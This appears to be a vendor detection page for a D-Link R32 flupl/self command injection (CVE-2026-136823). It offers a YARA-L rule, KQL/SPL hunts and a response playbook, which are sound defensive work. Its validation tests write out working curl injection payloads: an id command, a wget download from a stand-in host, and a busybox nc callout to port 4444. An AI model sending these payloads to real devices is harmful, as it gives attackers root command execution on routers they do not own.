Detect D-Link R32 flupl self Endpoint OS Command Injection (CVE-2026-136823) in Google Chronicle
Detects exploitation attempts against the OS command injection vulnerability (CVE-2026-136823) in the D-Link R32 1.10B02 web server (/usr/bin/httpd). The flaw is in the flupl self endpoint, where the fpath parameter is passed unsanitized into a shell context (CWE-77/CWE-78). An unauthenticated remote attacker can inject arbitrary OS commands. The device httpd runs as root, so successful injection yields root-level command execution (CVSS 9.3). This detection identifies HTTP requests to the flupl/self endpoint carrying shell metacharacters in the fpath parameter and related anomalous child-process or network telemetry from the device.
Based on Zzzhangxxx CVE write-up: D-Link R32 A1 1.10B02 flupl self fpath OS Command Injection
MITRE ATT&CK
- Tactic
- Initial Access Execution
YARA-L Detection Query
// df00tech DF00-045985c69d · https://df00tech.com/detections/CVE-2026-136823 · licence: https://df00tech.com/detections/licence
rule dlink_r32_flupl_self_cmd_injection {
meta:
author = "Argus"
description = "D-Link R32 flupl self fpath OS command injection CVE-2026-136823"
severity = "CRITICAL"
events:
$e.metadata.event_type = "NETWORK_HTTP"
re.regex($e.network.http.referral_url, `flupl`) or re.regex($e.target.url, `flupl`)
re.regex($e.target.url, `(self|fpath)`)
re.regex($e.target.url, `(?i)([;|&` + "`" + `]|\$\(|%60|%3b|%7c|wget|curl|tftp|busybox)`)
condition:
$e
} Chronicle YARA-L rule detecting flupl/self HTTP requests bearing command-injection payloads.
Data Sources
Required Tables
False Positives & Tuning
- Authorized scanner traffic
- Researcher validation
- Pentest engagements
Other platforms for CVE-2026-136823
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate flupl self fpath command injection via semicolon
Expected signal: Proxy/firewall HTTP log entry with url containing flupl, self, fpath and a ';id' sequence.
- Test 2 Simulate payload with pipe and download utility
Expected signal: HTTP log with URL-encoded pipe (%7C) and wget keyword targeting the flupl endpoint.
- Test 3 Simulate command substitution payload
Expected signal: HTTP log containing %24( (URL-encoded $() ) and busybox/nc keywords on the flupl endpoint.
Response Playbook
Triage
- Confirm the source IP and whether it is internal, a known scanner, or an untrusted external host; cross-reference with threat intel on the submitting source.
- Decode the full fpath/URL payload and extract the injected command to determine intent (reconnaissance, download, reverse shell).
- Verify the target is a D-Link R32 running vulnerable firmware 1.10B02 by checking the Server header, management banner, or asset inventory.
- Check for an HTTP 200 response and any outbound connection from the device immediately following the request, indicating successful execution.
Containment
- Block the attacker source IP at the perimeter firewall and restrict access to the device management interface (httpd) to trusted admin VLANs only.
- Isolate the affected D-Link R32 from the network if command execution is confirmed, as the httpd process runs as root and the device may be fully compromised.
- Disable or filter the flupl endpoint at an upstream WAF/reverse proxy until firmware is patched.
Evidence Collection
- Capture full HTTP request/response pairs (headers and body) containing the flupl/self payload from proxy, WAF and firewall logs.
- Preserve device syslog, httpd process logs and any firmware/configuration dumps for forensic analysis of injected commands and persistence.
Escalation Criteria
- !Escalate to incident response if the device issued outbound connections (wget/curl/tftp to attacker infrastructure) after the request, indicating successful RCE.
- !Escalate if multiple internet-facing R32 devices received the same payload, indicating a mass-exploitation campaign against the fleet.
Investigation Guide
Forensic Artifacts
- >
httpd access/error logs on the device referencing the flupl endpoint - >
Shell history or transient files created under /tmp or /var by injected download commands - >
Outbound connection records to attacker-controlled hosts from the device IP
Tuning Guidance
Baseline legitimate administrative access to the device management interface and whitelist known-admin source IPs and authorized scanner ranges. If the organization does not operate D-Link R32 devices, narrow the rule to external-to-internal traffic only. Tighten the metacharacter regex to reduce noise from URLs that legitimately contain encoded ampersands by requiring at least one download-utility keyword in addition to a metacharacter.
Hunting Queries
Hunt for any historical flupl endpoint access carrying shell metacharacters or download utilities across proxy/firewall telemetry.
// df00tech DF00-045985c69d · https://df00tech.com/detections/CVE-2026-136823 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "flupl" | extend d=url_decode(RequestURL) | where d has_any (";","|","`","$(","wget","curl") | project TimeGenerated, SourceIP, DestinationIP, d ``` df00tech DF00-045985c69d · https://df00tech.com/detections/CVE-2026-136823 · licence: https://df00tech.com/detections/licence ```
index=proxy uri="*flupl*" | eval d=urldecode(uri) | search d="*;*" OR d="*|*" OR d="*wget*" OR d="*curl*" | table _time src_ip dest_ip d Atomic Red Team Tests
Sends a crafted HTTP request to the flupl/self endpoint with a semicolon-separated shell command in the fpath parameter (lab device only).
Command
curl -s 'http://192.0.2.10/flupl?action=self&fpath=/tmp/x;id' -o /dev/null Cleanup
rm -f /tmp/x 2>/dev/null; true Expected Telemetry
Proxy/firewall HTTP log entry with url containing flupl, self, fpath and a ';id' sequence.
Expected Detection
KQL/SPL rule fires on the semicolon metacharacter in the fpath parameter.
Sends a flupl/self request injecting a wget download via a pipe character (lab device only).
Command
curl -s 'http://192.0.2.10/flupl?action=self&fpath=a%7Cwget%20http://198.51.100.5/m%20-O%20/tmp/m' -o /dev/null Cleanup
rm -f /tmp/m 2>/dev/null; true Expected Telemetry
HTTP log with URL-encoded pipe (%7C) and wget keyword targeting the flupl endpoint.
Expected Detection
Rule fires on the %7c metacharacter and wget download-utility keyword.
Sends a flupl/self request using $() command substitution in fpath (lab device only).
Command
curl -s 'http://192.0.2.10/flupl?action=self&fpath=%24(busybox%20nc%20198.51.100.5%204444)' -o /dev/null Cleanup
true Expected Telemetry
HTTP log containing %24( (URL-encoded $() ) and busybox/nc keywords on the flupl endpoint.
Expected Detection
Rule fires on the command-substitution token and busybox keyword.